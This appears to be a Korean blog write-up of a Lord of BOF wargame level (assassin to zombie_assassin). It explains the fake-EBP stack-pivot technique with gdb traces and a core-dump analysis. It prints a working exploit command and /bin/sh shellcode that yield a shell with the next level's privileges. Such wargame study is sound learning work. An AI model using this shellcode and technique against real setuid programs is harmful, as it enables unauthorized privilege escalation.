본문 바로가기
# write-up/- Lord of Bof

[LOB] assassin -> zombie_assassin

by ddddh 2016. 12. 7.

/*

        The Lord of the BOF : The Fellowship of the BOF

        - zombie_assassin

        - FEBP

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

char buffer[40];


if(argc < 2){

printf("argv error\n");

exit(0);

}


if(argv[1][47] == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}


        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }


// strncpy instead of strcpy!

strncpy(buffer, argv[1], 48); 

printf("%s\n", buffer);

}


이번 문제의 힌트를 보면 "Fake EBP"라고 나와있다.


조건은 다음과 같다.


1. argv[1][47]의 값이 "\xbf", "\x40"이 되면 안된다.

2. strcpy과 아닌 strncpy로 48 byte만 카피한다.


전 문제와 같이 "\xbf"영역(Stack), "\x40"영역(Libc)을 사용하지 못하므로 text segment를 사용한다.


하지만 48 byte만 입력받기 때문에 "RET SELD"는 불가능하다.


이번 문제의 힌트인 "Fake EBP" 기법을 이용하여 풀어야 한다.


프로그램의 에필로그 부분의 leaveret 두 개를 이용해야 하는데


leavemov esp, ebp / pop ebp 를 수행하고, retpop eip / jmp eip 를 수행한다. 


처음 leave를 거칠 때 strncpy로 인하여 덮여진 sfp영역의 4byte 값이 ebp로 세팅된다. (pop ebp)


ret 를 만나면 pop eip / jmp eip 과정을 거치며 해커가 덮은 leave의 주소로 jmp하게 된다.

 

두 번째 leave를 거칠 때 mov esp, ebp 과정을 지나면 esp에는 해커가 덮은 sfp의 값이 담기게 되며,


Stack의 현 위치를 가리키는 esp 값이 바뀌게 된다. 이 과정을 esp handling 이라고 부른다.


이 상태로 ret를 한번 더 만나 pop eip를 할 경우 esp에 있는 값이 담기게 된다



우선은 text segment의 주소를 구한 뒤, 일부러 segement fault를 일으켜 core dump를 분석한다.


[assassin@localhost assassin]$ cp ./zombie_assassin ./jombie_assassin

[assassin@localhost assassin]$ gdb ./jombie_assassin

(gdb) set disassembly-flavor intel

(gdb) disassemble main

~~~

0x80484df <main+159>: leave  
0x80484e0 <main+160>: ret 


[assassin@localhost assassin]$ ./jombie_assassin "`python -c 'print "A"*36+"BBBB"+"CCCC"+"\xdf\x84\x04\x08"'`"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC߄ 

Segmentation fault (core dumped)


[assassin@localhost assassin]$ gdb ./jombie_assassin core 

(gdb) info reg

eax            0x32

ecx            0x400

edx            0x40106980

ebx            0x401081ec

esp            0xbffffac0

ebp            0x43434343   <- CCCC

esi            0x4000ae60

edi            0xbffffb04

eip            0x80484df    <- 0x80484df <main+159>: leave  


(gdb) x/80wx $esp-0x50


~~~

0xbffffa00:     0x41414141     0x41414141     0x41414141     0x41414141 <- Buffer 영역

0xbffffa10:     0x41414141     0x41414141     0x41414141     0x41414141

0xbffffa20:     0x41414141     0x42424242     0x43434343     0x080484df <- payload에 사용되는 영역 (32 byte)

~~~


알아낸 정보를 사용하여 payload를 만들면 다음과 같다.


paylaod = [dummy] 36 byte + [환경변수] 4 byte + [0xbffffa20] 4 byte + [0x080484df] 4 byte

 

환경변수에 쉘 코드를 등록한 뒤 exploit 하면 된다.


[assassin@localhost assassin]$ export f1ay="`python -c 'print "\x90"*100+"\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`"


// 환경변수 주소 구하는 소스

#include <stdio.h>


int main()

{

        printf("f1ay offset = %p\n", getenv("f1ay"));


        return 0;


}



[assassin@localhost assassin]$ gcc -o ./get_env ./get_env.c

[assassin@localhost assassin]$ ./get_env 

f1ay offset = 0xbffffe84


쉘 코드가 담긴 환경변수의 주소는 "0xbffffe84"이다.


이제 알려진 정보들을 이용하여 exploit을 하여 zombie_assasin의 권한을 얻으면 된다.


[assassin@localhost assassin]$ ./zombie_assassin "`python -c 'print "A"*36+"\x84\xfe\xff\xbf"+"\x20\xfa\xff\xbf"+"\xdf\x84\x04\08"'`"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAþÿ¿ ߄ 

bash$ id

uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin)



풀이에는 정석이 없다.


다른 방법은 수 없이 많이 존재한다.

'# write-up > - Lord of Bof' 카테고리의 다른 글

[LOB] nightmare -> xavius  (0) 2016.12.08
[LOB] succubus -> nightmare  (0) 2016.12.08
[LOB] zombie_assassin -> succubus  (0) 2016.12.08
[LOB] giant -> assassin  (0) 2016.12.07
[LOB] bugbear -> giant  (0) 2016.12.06